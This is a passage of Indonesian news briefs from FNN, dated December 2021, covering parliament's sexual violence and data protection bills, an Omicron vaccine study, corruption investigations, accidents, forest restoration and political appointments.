kegiatan tersebut, masyarakat akan lebih tahu tentang apa saja peran personel TNI di daerah. "Tidak hanya itu, khusus di internal TNI, setiap dandim juga harus senantiasa memperhatikan kesejahteraan anggota dan tidak membuat sebuah kebijakan yang menyulitkan personel," ujar Panglima Komando Daerah Militer (Pangdam) Jayakarta periode 2020—2021 itu. Sebagai tambahan informasi, Dudung merupakan lulusan Akademi Militer 1988 dari kecabangan infanteri. Sebelumnya dia menjabat sebagai Pangkostrad setelah menduduki posisi Pangdam Jaya pada tahun 2020 hingga 2021, dan Gubernur Akademi Militer pada tahun 2018 sampai 2020. (mth)

Baleg Agendakan Pleno Pengambilan Keputusan RUU TPKS

Jakarta, FNN - Wakil Ketua Badan Legislasi (Baleg) DPR RI Willy Aditya memastikan Baleg akan menggelar Rapat Pleno pada Rabu untuk pengambilan keputusan terkait dengan Rancangan Undang-Undang Tindak Pidana Kekerasan Seksual (RUU TPKS) dengan mendengarkan pendapat fraksi-fraksi. Pengambilan keputusan tersebut untuk menentukan RUU TPKS menjadi usul inisiatif DPR. "Kami sudah bersepakat untuk pleno Rapat Pleno Baleg untuk pengambilan keputusan terhadap naskah RUU TPKS. Tadi pagi Baleg sudah menggelar Rapat Panja terakhir untuk penyempurnaan draf," kata Willy di Gedung DPR RI, Jakarta, Rabu. Ia berharap pendapat fraksi-fraksi dalam Rapat Pleno Baleg memberikan "angin positif" bagi RUU TPKS karena berbagai isu dan narasi negatif terkait dengan RUU tersebut sudah diantisipasi dengan rumusan yang berpihak pada korban. Menurut dia, rumusan draf RUU TPKS juga memberikan posisi hukum bagi aparat penegak hukum memberikan tindakan untuk melindungi korban. "Tentu nanti akan diambil keputusan, mayoritas akan menentukan bagaimana kelanjutan dari RUU TPKS ini," ujarnya. Willy meyakini RUU TPKS akan disetujui Baleg menjadi usul inisiatif DPR karena beberapa pendapat fraksi-fraksi sudah diakomodasi dalam RUU tersebut. Terkait dengan eksploitasi seksual, misalnya, yang dilakukan korporasi yang diberikan sanksi pidana karena selama ini aturan mengenai hal itu masih dianggap sumir. "Selama ini klausul korporasi berdiri sendiri. Namun, kami masukkan dalam tindak eksploitasi seksual. Kami konsultasikan dengan beberapa pihak sebelum mengambil keputusan, jadi selama ini ditakuti karena karyawan yang melakukan (tindak kekerasan seksual) namun perusahaan yang kena," katanya. Ia menegaskan bahwa RUU TPKS memberikan perlindungan terhadap korban, keluarga korban, dan saksi dengan bentuk yang paling konkret adalah korban bisa langsung menjadi saksi. Selain itu, menurut dia, RUU tersebut memberikan aturan bagaimana memberikan perlindungan dan pencegahan terjadinya tindak kekerasan seksual dengan dibuat bab khusus, serta memberikan kepastian hukum bagi penegak hukum untuk menindak segala jenis kekerasan seksual. (mth)

Studi: Vaksin Pfizer Hanya Beri Perlindungan Sebagian terhadap Omicron

Bengaluru/New Jersey, FNN - Varian COVID-19 Omicron sebagian dapat menghindari proteksi dari dua dosis vaksin Pfizer Inc dan mitranya BioNTech, kepala penelitian laboratorium Institut Riset Kesehatan Afrika di Afrika Selatan pada Selasa. Namun, penelitian itu menunjukkan darah dari orang yang menerima dua dosis vaksin itu dan sebelumnya sudah terinfeksi COVID-19 sebagian besar mampu menetralkan varian tersebut. Karena itu, penelitian itu menyarankan bahwa dosis booster vaksin dapat membantu menangkis infeksi. ​​​​​​Alex Sigal, dosen di Institut Riset Kesehatan Afrika mengatakan di Twitter ada “penurunan yang sangat besar” dalam menetralkan varian Omicron yang relatif terhadap jenis COVID-19 sebelumnya. Laboratorium itu menguji darah dari 12 orang yang sudah divaksinasi dengan dua dosis vaksin Pfizer/BioNTech, menurut naskah di laman laboratorium itu. Data awal dalam naskah itu belum ditinjau secara berkelompok. Darah lima dari enam orang yang sudah divaksin serta sebelumnya terinfeksi COVID-19 masih menetralkan varian Omicron, menurut naskah tersebut. “Hasil ini lebih dari yang saya perkirakan. Lebih banyak antibodi yang Anda dapatkan, lebih banyak peluang Anda terlindungi dari Omicron,” kata Sigal dalam cuitannya di Twitter. Ia mengatakan laboratorium belum menguji varian terhadap darah dari orang yang sudah mendapatkan dosis booster karena mereka belum ada di Afrika Selatan. Berdasarkan naskah itu, laboratorium mengamati penurunan 14 kali lipat dalam tingkat antibodi penetralisasi terhadap varian Omicron. Sigal mengatakan di Twtter bahwa angka tersebut kemungkinan akan disesuaikan setelah laboratoriumnya melakukan lebih banyak percobaan. Sementara antibodi penetralisasi merupakan indikator respon kekebalan tubuh, para ilmuwan meyakini jenis sel lainnya, seperti sel B dan sel T juga distimulasi oleh vaksin dan membantu melindungi dari dampak COVID-19. Data awal tidak mengindikasikan bahwa vaksin kurang mampu mencegah penyakit parah atau kematian. Sementara tes laboratorium tengah berlangsung, CEO BioNTech Ugur Sahin mengatakan pekan lalu “Kami berpikir kemungkinan orang-orang akan memiliki perlindungan dasar melawan penyakit berat yang disebabkan Omicron”. Varian Omicron yang pertama kali terdeteksi di Afrika bagian selatan bulan lalu sudah membunyikan alarm secara global terhadap lonjakan infeksi lain dengan lebih dari dua puluh negara dari Jepang hingga Amerika Serikat yang melaporkan kasus itu. Organisasi Kesehatan Dunia (WHO) mengelompokkan pada 26 November lalu sebagai “varian perhatian”, tetapi mengatakan tidak ada bukti untuk mendukung perlunya vaksin baru yang secara khusus dirancang untuk melawan varian Omicron dengan banyak mutasinya. Belum ada data signifikan bagaimana vaksin dari Moderna, Johnson & Johnson dan perusahaan obat-obatan lainnya menghambat varian baru. Seluruh produsen, termasuk Pfizer dan BioNTech diharapkan mengeluarkan data mereka dalam beberapa minggu. Pakar penyakit menular terkemuka di AS Dr. Anthony Fauci mengatakan pada Selasa bahwa bukti awal menunjukkan varian COVID-19 Omicron kemungkinan memiliki tingkat penularan yang lebih tinggi, tetapi tidak terlalu parah. Ia mengatakan AS melakukan tes untuk menentukan perlindungan vaksin baru-baru ini terhadap varian tersebut dan memperkirakan hasilnya keluar minggu depan. Umer Raffat, analis Evercore ISI, memperingatkan agar tidak terlalu banyak membaca satu penelitian dan mencatatkan adanya variabilitas yang signifikan dalam mengukur penurunan tingkat anitobodi dalam penelitian laboratorium sebelumnya. “Kita tunggu saja penelitian tambahan untuk melihat gambaran yang lebih jelas,” katanya. (mth)

Presiden Tanam Pohon di Area Bekas Pertambangan Emas Kalimantan Barat

Jakarta, FNN - Presiden Joko Widodo bersama masyarakat melakukan penanaman pohon di area bekas pertambangan emas di Kabupaten Sintang, Kalimantan Barat, Rabu. "Pada hari ini saya datang berkunjung ke Kabupaten Sintang, Kalimantan Barat, dalam rangka penanaman pohon untuk pemulihan lingkungan di bekas-bekas pertambangan yang ada di Kalimantan Barat," ujar dia, dalam keterangannya seusai penanaman pohon bersama masyarakat, sebagaimana disaksikan secara virtual di Jakarta, Rabu. Jokowi yang juga sarjana kehutanan itu mengatakan, area yang dikunjunginya merupakan bekas pertambangan emas pada dasawarsa 1990-an. Di sana dia dan masyarakat menanam berbagai jenis pohon, baik buah-buahan maupun spesies lain. Ia berharap penanaman serupa bisa dilakukan di area bekas pertambangan di daerah lain, agar pemulihan lingkungan utamanya di daerah tangkapan hujan, yang ada di daerah aliran sungai, baik di Sungai Kapuas, Sungai Melawi, yang rusak akibat pertambangan bisa pulih kembali. "Daerah tangkapan hujan yang di daerah aliran sungai baik Kapuas, Melawi, di hulu banyak rusak karena hal-hal berkaitan dengan pertambangan dan juga kerusakan hutan karena perkebunan. Saya harap ini akan dimulai juga di tempat lain sehingga perbaikan lingkungan bekas tambang betul-betul bisa dikerjakan dengan baik," ujarnya. Ia juga menyampaikan pemerintah akan membangun persemaian di wilayah Kapuas dalam rangka penanaman kembali rehabilitasi hutan yang rusak. (mth)

Kemenpan-RB Penuhi Panggilan Komnas HAM Soal Alih Status 35 PTNB

Jakarta, FNN - Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan-RB) memenuhi panggilan Komnas HAM RI soal alih status 35 Perguruan Tinggi Negeri Baru (PTNB). "Komnas HAM RI terus berupaya mendalami keterangan dari berbagai pihak terkait alih status ini," kata Ketua Komnas HAM Ahmad Taufan Damanik melalui keterangan tertulis yang diterima di Jakarta, Rabu. Kedatangan perwakilan Kemenpan-RB ke Komnas HAM buntut dari aduan yang dilayangkan oleh perwakilan dosen dan tenaga pendidik perguruan tinggi swasta yang dialihstatuskan menjadi PTNB. Mereka mengadukan dampak pengalihan status perguruan tinggi terhadap status kepegawaian dan hak-hak kesejahteraan ke Komnas HAM RI. Pada pertemuan tersebut, Kemenpan-RB menjawab berbagai pertanyaan dari Komnas HAM dan memberikan penjelasan tentang upayanya dalam menyelesaikan permasalahan PTNB, termasuk pula rencana aksi yang komprehensif untuk menyelesaikan persoalan tersebut. "Esok kami akan memanggil perwakilan Kementerian Pendidikan, Kebudayaan, Riset dan Teknologi Republik Indonesia untuk dimintai keterangan," kata dia. Perwakilan Kemenpan-RB yang datang ke Komnas HAM yakni Asisten Deputi SDMA Kemenpan-RB Istyadi didampingi Staf Kedeputian SDMA Kemenpan-RB Claudya Hutasoit. (sws)

Polri Koordinasikan NIP 44 Eks Pegawai KPK dengan BKN

Jakarta, FNN - Polri berkoordinasi dengan Badan Kepegawaian Negara (BKN) untuk menetapkan nomor induk pegawai (NIP) bagi Novel Baswedan dan kawan-kawan setelah pihaknya melaksanakan uji kompetensi terhadap 44 eks pegawai KPK yang menerima tawaran menjadi ASN Polri. Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol. Rusdi Hartono mengatakan bahwa pelaksanaan uji kompetensi terhadap 44 eks pegawai KPK berjalan dengan baik dan rekrutmen masih terus berjalan. "SDM Polri sedang berkoordinasi dengan BKN untuk menetapkan NIP dari 44 eks pegawai KPK yang mengikuti uji kompetensi," kata Rusdi di Mabes Polri, Jakarta Selatan, Rabu. Setelah NIP ditetapkan, kata Rusdi, proses selanjutnya adalah pengangkatan 44 eks pegawai KPK menjadi ASN Polri. Saat ini, lanjut Rusdi, staf SDM Polri tengah mempersiapkan pengangkatan dan pelantikan 44 eks pegawai KPK sebagai ASN Polri. "Kita tunggu saja proses dari 44 eks pegawai KPK yang akan bergabung menjadi ASN Polri," ujar Rusdi. Terkait dengan penempatan 44 eks pegawai KPK di kepolisian, Rusdi menerangkan bahwa penempatan sesuai dengan kompetensi masing-masing eks pegawai KPK tersebut. "Ada sebagai penyidik, penyelidik, SDM, perencana, dan seterusnya ini menjadi salah satu yang akan dipertimbangkan dalam formasi jabatan di tubuh ASN Polri," kata Rusdi menerangkan. Rusdi juga mengatakan bahwa tidak menutup kemungkinan akan ada satgas khusus untuk eks pegawai KPK, bergantung pada perkembangan di lapangan. Namun, lanjut Rusdi, penempatan 44 eks pegawai KPK sebagai ASN di lingkungan Polri disesuaikan dengan kompetensi masing-masing. "Kita lihat perkembangannya. Yang penting proses (rekrutmen) sudah berjalan dan 44 eks pegawai KPK tersebut menjadi ASN Polri. Penempatannya nanti disesuaikan dengan kompetensi yang bersangkutan," kata Rusdi. (sws)

Basarnas Cari Tiga ABK Kapal Batu Bara Tenggelam di Perairan Kukar

Tenggarong/Kukar, FNN - Kantor Pencarian dan Pertolongan (Basarnas) Kaltim dan Kaltara melakukan operasi pencarian tiga anak buah kapal (ABK) pengangkut batu bara yang diduga tenggelam di Perairan Tanjung Pemerung, Desa Sepatin, Kabupaten Kutai Kartanegara (Kukar) "Kapal tenggelam saat akan balik ke muara sungai, terkena angin dan gelombang besar yang masuk ke depan kapal sehingga Kapal Motor Bunga Lestari 09 hilang kendali dan tenggelam di perairan laut," kata Kepala Basarnas Kaltim & Kaltara Melkianus Kotta di Kukar, Rabu. Dikatakan pula bahwa ketiga ABK dikabarkan hilang usai kapal mereka yang memuat 30 ton batu bara tenggelam di lokasi kejadian. Tercatat ada enam orang di atas kapal tersebut dan tiga orang dinyatakan selamat. Usai mendapatkan informasi atas tenggelamnya kapal pengangkut batu bara itu, personel Basarnas Kaltim menuju ke lokasi kejadian pada hari Selasa (7/12) sekitar pukul 20.35 WITA dan tiba pukul 22.18 WITA. Tim SAR yang sudah di lokasi kejadian, mulai dari Pertamina Hulu Mahakam (PHM), Polsek Anggana, hingga masyarakat setempat. Basarnas Kaltim yang membawa rescue dmax, rescue truck, peralatan SAR air dan selam lengkap, serta peralatan medis. Disebutkan pula bahwa tiga orang yang dinyatakan selamat diketahui bernama Darmansyah (24) warga Desa Sepatin; Anggana, Ansar Anca (21) warga Mangkupalas, Samarinda; dan Alam (30) Samarinda. Tiga ABK lainnya sedang dalam pencarian. Semuanya berjenis kelamin laki-laki bernama Sanggu (30) dan Wawan (29), keduanya warga Mangkupalas, Samarinda. Seorang lagi bernama Akbar (30) warga Sangasanga, Kukar. "Sampai saat ini ketiga ABK yang belum ditemukan itu masih dalam pencarian pihak Basarnas dan tim sukarelawan lainnya," tutur Kepala Basarnas Kaltim & Kaltara. (sws)

Tiga Orang Tewas Dalam Kecelakaan di Ruas Jalan Semarang-Demak

Semarang, FNN - Sebanyak tiga orang penumpang mikro bis tewas dalam kecelakaan di ruas Jalan Semarang-Demak di wilayah Sayung, Kabupaten Demak, Jawa Tengah, Rabu. Kapolres Demak AKBP Budi Adhy Buwono membenarkan peristiwa nahas yang menyebabkan tiga orang penumpang bus tersebut meninggal dunia. "Dua korban meninggal di lokasi, satu lainnya meninggal setelah mendapat perawatan di rumah sakit " katanya. Ia menjelaskan peristiwa tersebut bermula ketika sebuah mikro bus bernomor polisi H 7110 OE melaju dari arah Demak menuju Semarang. Menurut dia, pengemudi bus diduga tidak mampu menguasai kendaraan yang dikendarainya ketika menghindari sebuah sepeda motor yang ada di depannya. "Bus oleng ke kanan hingga terguling di jalur arah berlawanan," katanya. Para korban meninggal dunia mengalami luka di bagian kepala. Selain korban meninggal dunia, 7 penumpang lainnya terluka. Akibat peristiwa tersebut, arus lalu lintas di Jalur Pantura Demak tersebut tersendat. (sws)

SPTN IV Solok Gunakan Pola Kemitraan untuk Pulihkan TN Kerinci Seblat

Padang Aro, FNN - Seksi Pengelolaan Taman Nasional Wilayah IV (SPTN IV) Solok Selatan, Sumatera Barat menggunakan pola kemitraan konservasi untuk memulihkan Taman Nasional Kerinci Seblat (TNKS). "Untuk mengembalikan fungsi zona rehabilitasi tersebut TNKS melakukan rangkaian kegiatan kemitraan konservasi melalui pemulihan ekosistem yang saat ini luasnya mencapai 274, 25 hektare," kata Kepala SPTN IV Solok Selatan David, di Padang Aro, Rabu. Dia mengatakan kegiatan kemitraan konservasi yang dilakukan melibatkan masyarakat dengan cara pemberdayaan dengan memberikan bantuan senilai total Rp400 juta kepada delapan kelompok tani. Selain itu, kegiatan pemulihan ekosistem juga dibantu oleh pihak ketiga seperti dengan PT Supreme Energy Muaralaboh yang dilaksanakan pada kawasan TNKS di Solok Selatan dengan luasan area 52,5 hektare. Kegiatan dengan pihak ketiga dilakukan melalui mekanisme penanaman intensif dengan jenis tanaman Beringin (Ficus benjamina), Bayur (Pterospermum spp), Bodi (Homalanthus populneus), Kasai (Pometia spp), Paniang-paniang (Quercus spp), Puspa (Schima walichii), Pasang (Lithocarpus spp), Indarung (Trema orientalis), Baliak Angin (Ficus vulva), Lasi (Oreocnide rubescens). "Kegiatan ini juga dimungkinkan untuk dilaksanakan bersama pihak lain yang melakukan kerja sama dengan TNKS," ujarnya. Tujuan pemulihan ekosistem ini, katanya, untuk mengembalikan fungsi kawasan sebagaimana kondisi aslinya dan kondisi masa depan tertentu (desired future condition), pada kawasan yang telah terjadi keterlanjuran kerusakan (sesuai dengan ketentuan yang diatur dalam Perdirjen KSDAE No.P.6/ KSDAE/SET/Kum.1/6/2018 tentang petunjuk Teknis Kemitraan Konservasi pada kawasan Suaka Alam dan Kawasan Pelestarian Alam Berdasarkan data dokumen zonasi TNKS tahun 2020, katanya, penggunaan kawasan SPTN Kerinci Seblat IV untuk kegiatan lainnya di zona rehabilitasi, dalam kurun waktu tiga tahun (2017 - 2020) mengalami penurunan 1.018 hektare yaitu dari 14.255 hektare menjadi 13.237 hektare atau 16,76 persen. Taman Nasonal Kerind Seblat (TNKS) merupakan salah satu kawasan konservasi terbesar di Indonesia memiliki luas 1.389.509, 867 hektare yang tersebar di empat provinsi yaitu Sumatera Barat, Jambi, Sumatera Selatan, dan Bengkulu. Untuk SPTN wilayah IV mempunyai wilayah kerja yang berada di tiga kabupaten yaitu Solok, Solok Selatan, dan Dharmasraya. (mth)

Polri Sita Rp1,7 Miliar dari Saksi Kasus Dugaan Korupsi JIP

Jakarta, FNN - Direktorat Tindak Pidana Korupsi (Dittipidkor) Bareskrim Polri menyita uang senilai Rp1,7 miliar dari saksi perkara dugaan tindak pidana korupsi di PT Jakarta Infrastruktur Propertindo (JIP). Direktur Tipidkor Bareskrim Polri Brigjen Pol Djoko Purwanto di Bareskrim Polri, Jakarta Selatan, Rabu, mengatakan uang Rp1,7 miliar tersebut masuk ke rekening saksi YK selaku mantan Direktur PT JIP. "Hari ini, salah satu saksi di PT JIP itu mengembalikan kepada kita di mana kami menindaklanjutinya dengan melakukan penyitaan uang sejumlah Rp1,7 miliar," kata Djoko. Djoko menjelaskan, dalam proses penyidikan kasus dugaan tindak pidana korupsi pengadaan barang/jasa pembangunan infrastruktur menara serta GPON oleh PT JIP pada 2017-2018, saksi YK menerima dua kali transferan dana melalui rekeningnya dengan nominal keseluruhan transaksi Rp1,7 miliar. Saksi YK awalnya mengira uang tersebut adalah gaji dan bonus. Kemudian baru mengetahui bahwa dana yang masuk ke rekeningnya bersumber dari pihak ketiga (inisial CD dan EM). Mengetahui hal itu, saksi mengembalikan uang tersebut kepada penyidik Dittipidkor Bareskrim Polri. "Kami terus mengejar larinya uang (korupsi), karena penanganan penyidikan kami tidak hanya tipikor saja, tapi juga ada tindak pidana pencucian uang (TPPU) nya," kata Djoko. Djoko menerangkan, penyidikan TPPU dibutuhkan dalam penyidikan pidana asal yaitu tipikor, sehingga penyidik semaksimal mungkin berupaya untuk memulihkan aset, sesuai amanat undang-undang dalam perkara tipikor. Dalam perkara ini, penyidik Dittipikor Bareskrim Polri telah menetapkan eks Direktur Utama (Dirut) PT Jakarta Infrastruktur Propertindo (JIP) Ario Pramadhi sebagai tersangka bersama Christman Desanto, selaku mantan VP Finance & IT PT JIP. Kerugian sementara dalam perkara ini ditaksir oleh penyidik sebesar Rp315 miliar. Adapun, bentuk perbuatan melawan hukumnya, yakni pembangunan menara telekomunikasi di sejumlah wilayah di Indonesia, serta pengerjaan proyek pembangunan menara dan infrastruktur "Gigabit Passive Optical Network" (GPON). Dalam perkara ini, penyidik telah memeriksa 65 saksi antara lain dari pihak PT JIP, perusahaan yang memberikan pekerjaan, dan kontraktor pengadaan GPON, serta satu saksi ahli keuangan negara. Kedua tersangka dijerat dengan Pasal 2 ayat (1) dan/atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi. (sws)

KPK Panggil Mantan Istri Zumi Zola

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Rabu, memanggil Sherin Tharia, mantan istri Zumi Zola, bersama lima saksi lainnya dalam penyidikan kasus dugaan suap terkait pengesahan RAPBD Provinsi Jambi Tahun 2017. Selain Sherrin Tharia selaku ibu rumah tangga yang juga mantan istri Zumi Zola (mantan Gubernur Jambi), KPK juga memanggil Harmina Djohar selaku ibu rumah tangga yang juga ibu kandung Zumi. "Hari ini, pemeriksaan saksi tindak pidana korupsi suap terkait pengesahan RAPBD Provinsi Jambi Tahun 2017. Pemeriksaan dilakukan di Gedung Merah Putih KPK, Jakarta Selatan," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Rabu. Sedangkan empat saksi lainnya yang dipanggil, yakni mahasiswa bernama Alvin Raymond, Asrul Pandapotan Sihotang dari pihak swasta, Arnold dari pihak swasta/Direktur PT Andica Parsaktian Abadi, dan Wilina Chandra selaku wiraswasta. KPK saat ini masih melakukan penyidikan terhadap tersangka Apif Firmansyah (AF) yang merupakan orang kepercayaan Zumi. Dalam konstruksi perkara, KPK menjelaskan Apif sebagai orang kepercayaan dan representasi dari Zumi. Saat Zumi maju menjadi calon Bupati Tanjung Jabung Timur, Jambi pada 2010, Apif selalu mendampingi Zumi melakukan kampanye. Saat Zumi terpilih menjadi Bupati Tanjung Jabung Timur, Apif semakin dipercaya untuk mendampingi, membantu, dan mengurus berbagai kegiatan dinas sampai dengan keperluan pribadi Zumi. Berlanjut hingga Zumi terpilih menjadi Gubernur Jambi periode 2016-2021, Apif kembali dipercaya untuk mengurus semua keperluan Zumi diantaranya mengelola kebutuhan dana operasional dengan meminta sejumlah "fee" proyek dari para kontraktor yang mengerjakan berbagai proyek di Provinsi Jambi. Kemudian sejumlah uang yang terkumpul tersebut diberikan kepada Zumi dan keluarganya termasuk untuk keperluan pribadi Apif. Adapun total yang telah dikumpulkan oleh Apif sekitar Rp46 miliar. Dari jumlah uang tersebut sebagaimana perintah Zumi, sebagian diberikan kepada Anggota DPRD Provinsi Jambi terkait uang "ketok palu" pembahasan RAPBD Tahun Anggaran 2017. KPK juga menduga Apif menerima dan menikmati uang sekitar Rp6 miliar untuk keperluan pribadinya dan yang bersangkutan saat ini sudah mengembalikan Rp400 juta ke KPK. Atas perbuatannya, tersangka Apif disangkakan melanggar Pasal 5 ayat 1 huruf a atau huruf b atau Pasal 13 dan Pasal 12B atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 Jo. Pasal 55 ayat (1) ke-1 KUHP. Kasus yang menjerat Apif merupakan pengembangan setelah sebelumnya KPK juga telah menetapkan beberapa pihak sebagai tersangka, salah satunya Zumi. Perkara Zumi telah diputus oleh pengadilan tipikor dan berkekuatan hukum tetap. (sws)

Akademikus: Media Massa Berperan Penting Dalam Mencapai Demokrasi

Jakarta, FNN - Kandidat doktor di Northern Illinois University, Titik Firawati, mengatakan, media massa memiliki peran penting dalam menciptakan kondisi-kondisi yang dibutuhkan organisasi masyarakat sipil untuk mencapai inklusi dan demokrasi. Media massa menciptakan kondisi-kondisi dengan cara membantu dalam pembatasan represi, serta memastikan bahwa presiden yang sedang menjabat dapat menghindari pelanggaran komitmen, sebagaimana yang terjadi di Indonesia pada awal mula masa reformasi. “Liputan media, baik media nasional dan media internasional, memperkecil ruang gerak bagi Presiden Soeharto untuk melakukan represi lebih jauh (terhadap publik),” kata dia ketika menyampaikan paparan materi dalam seminar bertajuk CSO, Demokratisasi dan Kebijakan Publik: Catatan dan Kontribusi, yang disiarkan secara langsung di kanal YouTube CSIS Indonesia, dan dipantau dari Jakarta, Rabu. Ia mengatakan, kemampuan media massa dalam membatasi represi pada zaman Soeharto memiliki keterkaitan dengan reputasi Soeharto yang dianggap bisa melakukan pelanggaran hak asasi manusia (HAM) oleh berbagai aktor internasional. Reputasi tersebut membuat Presiden Soeharto menahan diri untuk tidak melakukan represi lebih lanjut. Selanjutnya, terkait dengan menghindari pelanggaran komitmen, Firawati merujuk pada masa kepemimpinan Presiden BJ Habibie di awal reformasi. Dengan adanya sorotan media internasional, kata dia, Habibie terdorong untuk melakukan reformasi secepat mungkin. “Pada saat yang sama, Habibie membutuhkan media internasional untuk membangun reputasi Indonesia sebagai negara demokratis baru,” tutur Staf Pengajar Departemen Hubungan Internasional Universitas Gadjah Mada ini. Reputasi Indonesia sebagai negara demokratis baru akan sangat penting bagi pemerintah untuk menarik investor asing, terutama untuk memulihkan perekonomian Indonesia. Guna membangun reputasi tersebut bersama media massa, Presiden BJ Habibie akan berusaha untuk segera memenuhi janji-janji reformasi. Dengan demikian, sorotan dan liputan media massa memiliki peran yang sangat krusial untuk menjaga arah demokrasi Indonesia. (sws)

Akademikus: Kapasitas OMS Berbasis Gender Paling Kuat Hasilkan Inklusi

Jakarta, FNN - Kandidat doktor Northern Illinois University Titik Firawati mengatakan bahwa organisasi masyarakat sipil (OMS) berbasis gender memiliki kapasitas yang paling kuat di antara OMS untuk kelompok marginal lainnya dalam menghasilkan inklusi politik, sosial, dan ekonomi. "Organisasi masyarakat sipil berbasis gender punya kontribusi besar dalam mendorong agenda politik dalam hal kesetaraan gender dalam kehidupan berpolitik," kata Titik ketika menyampaikan paparan materi dalam seminar bertajuk CSO, Demokratisasi dan Kebijakan Publik: Catatan dan Kontribusi yang disiarkan secara langsung di kanal YouTube CSIS Indonesia, dan dipantau dari Jakarta, Rabu. OMS berbasis gender melakukan lobi dengan anggota parlemen dalam partai politik untuk memberikan kesempatan seluas mungkin bagi perempuan dengan memberlakukan kuota 30 persen. Ia menegaskan bahwa melakukan lobi dengan anggota parlemen merupakan kontribusi OMS berbasis gender untuk mendorong agenda politik dalam hal kesetaraan gender. "Meskipun kuota 30 persen belum berhasil terpenuhi, hasil pemilihan umum parlemen nasional 2004 dan 2009 menunjukkan adanya peningkatan partisipasi perempuan di dalam parlemen nasional," ucapnya. Menurut Titik, kapasitas OMS berbasis gender yang lebih baik daripada kapasitas OMS berbasis kelas, etnis, dan agama, diakibatkan oleh situasi perpolitikan pada masa sebelum reformasi. Rezim otoriter saat itu, kata dia, lebih terbuka kepada OMS berbasis gender sehingga mereka memanfaatkan momentum itu untuk membangun kerja sama dengan berbagai organisasi keagamaan di Indonesia untuk meningkatkan partisipasi perempuan di berbagai lini kehidupan. Oleh karena itu, penelitian Titik menemukan bahwa kelompok perempuan memperoleh lebih banyak manfaat daripada kelompok berbasis kelas, etnis, dan agama, terkait dengan kemampuan perlawanan sipil untuk menghasilkan inklusi politik, sosial, dan ekonomi. "Penguatan hak perempuan dapat dikaitkan sebagian dengan kekuatan OMS berbasis gender," kata Titik. (sws)

Anggota DPR RI: 228 DIM RUU PDP Belum Dibahas Oleh DPR dan Pemerintah

Jakarta, FNN - Anggota Komisi I DPR RI Mukhlis Basri mengatakan 228 dari 371 daftar inventarisasi masalah (DIM) yang berisi materi pembahasan dalam Rancangan Undang-Undang Perlindungan Data Pribadi (RUU PDP) belum dibahas oleh DPR dan pemerintah. “Yang belum dibahas, berjumlah 228 DIM. Mayoritas berkaitan dengan penyelenggaraan dan kelembagaan pengawas pelaksanaan Undang-Undang Perlindungan Data Pribadi,” ujar Mukhlis Basri. Hal itu dikemukakan Mukhlis saat menjadi pemateri seminar nasional secara hybrid bertajuk “Urgensi Pengesahan Rancangan Undang-Undang Perlindungan Data Pribadi dalam Era Digital untuk Menjamin Kepastian Hukum di Indonesia” dan disiarkan langsung di kanal YouTube FH Unila, dipantau dari Jakarta, Rabu. Dalam seminar yang diselenggarakan oleh Fakultas Hukum Universitas Lampung (Unila) itu, Mukhlis Basri juga menjelaskan beberapa perdebatan antara Komisi I DPR dan pemerintah terkait lembaga pengawas pelaksanaan RUU PDP sehingga menghambat penyelesaian pembahasan seluruh DIM. Komisi I dan Badan Legislasi DPR RI, lanjut dia, mengusulkan agar dibentuk lembaga independen yang mengawasi pelaksanaan Undang-Undang Perlindungan Data Pribadi nantinya. Lembaga itu akan menjadi regulator dan pengendali perlindungan data pribadi masyarakat Indonesia. Mereka juga mengawasi lembaga atau badan publik yang bertanggung jawab terhadap data-data tersebut. Lembaga independen itu, tambah Mukhlis Basri, diusulkan pula untuk bertanggung jawab langsung kepada presiden dan dipilih oleh anggota DPR RI. Sementara itu, ucap dia, pemerintah dalam hal ini Kementerian Komunikasi dan Informatika (Kemkominfo) RI mengusulkan lembaga pengawas pelaksanaan Undang-Undang Perlindungan Data Pribadi berada di bawah pihaknya. Selain itu, lembaga tersebut juga diusulkan untuk menjadi regulator saja dan bertanggung jawab kepada Menteri Komunikasi dan Informatika. Kemudian sejauh ini, ujar Mukhlis Basri, Komisi I DPR baru menyelesaikan pembahasan 143 dari 371 DIM yang ada. “Dari seluruh total 371 daftar inventarisasi masalah (DIM), Komisi I DPR RI telah menyelesaikan sebanyak 143 DIM,” kata dia. DIM tersebut terdiri atas 125 DIM yang telah disetujui dan disepakati, 10 ditunda, 6 mengalami perubahan substansi, serta 2 usulan baru. Mukhlis Basri pun berharap ditetapkannya RUU PDP sebagai salah satu rancangan aturan dari 40 Program Legislasi Nasional (Prolegnas) Prioritas 2022 dalam rapat paripurna, Jakarta, Selasa (7/12), dapat mendorong rancangan undang-undang itu segera disahkan. “Undang-undang ini sangat dibutuhkan bagi kita,” tegas Mukhlis Basri. (sws)

Hakim MK Arief Hidayat Terpilih Sebagai Ketua Umum DPP PA GMNI

Jakarta, FNN - Kongres IV Persatuan Alumni Gerakan Mahasiswa Nasional Indonesia (PA GMNI) memilih secara aklamasi Hakim Mahkamah Konstitusi (MK) Arief Hidayat sebagai Ketua Umum DPP PA GMNI masa bakti 2021—2026. Berdasarkan keterangan tertulis yang diterima di Jakarta, Rabu, penetapan itu berlangsung dalam Rapat Pleno VII Kongres IV PA GMNI di Bandung, Jawa Barat, Selasa (7/12). "Kami menetapkan Prof. Arief Hidayat sebagai Ketua Umum DPP Persatuan Alumni Gerakan Mahasiswa Nasional Indonesia," kata Ketua Sidang Kongres IV PA GMNI James Sumendap. Selanjutnya, rangkaian acara beralih pada penyerahan dokumen keputusan kongres dari James Sumendap kepada Arief Hidayat. "Dengan ini, saya menerima amanat, disaksikan seluruh peserta Kongres IV PA GMNI. Terima kasih, semoga Tuhan melindungi dan mempererat persaudaraan kita dalam wadah Persatuan Alumni Gerakan Mahasiswa Nasional Indonesia," ucap Arief saat menerima dokumen. Setelah itu, dia menyampaikan pidato pertama sebagai Ketua Umum DPP PA GMNI. Arief mengajak anggota PA GMNI untuk menjadi kader yang menyemai, mengawal, dan menjaga 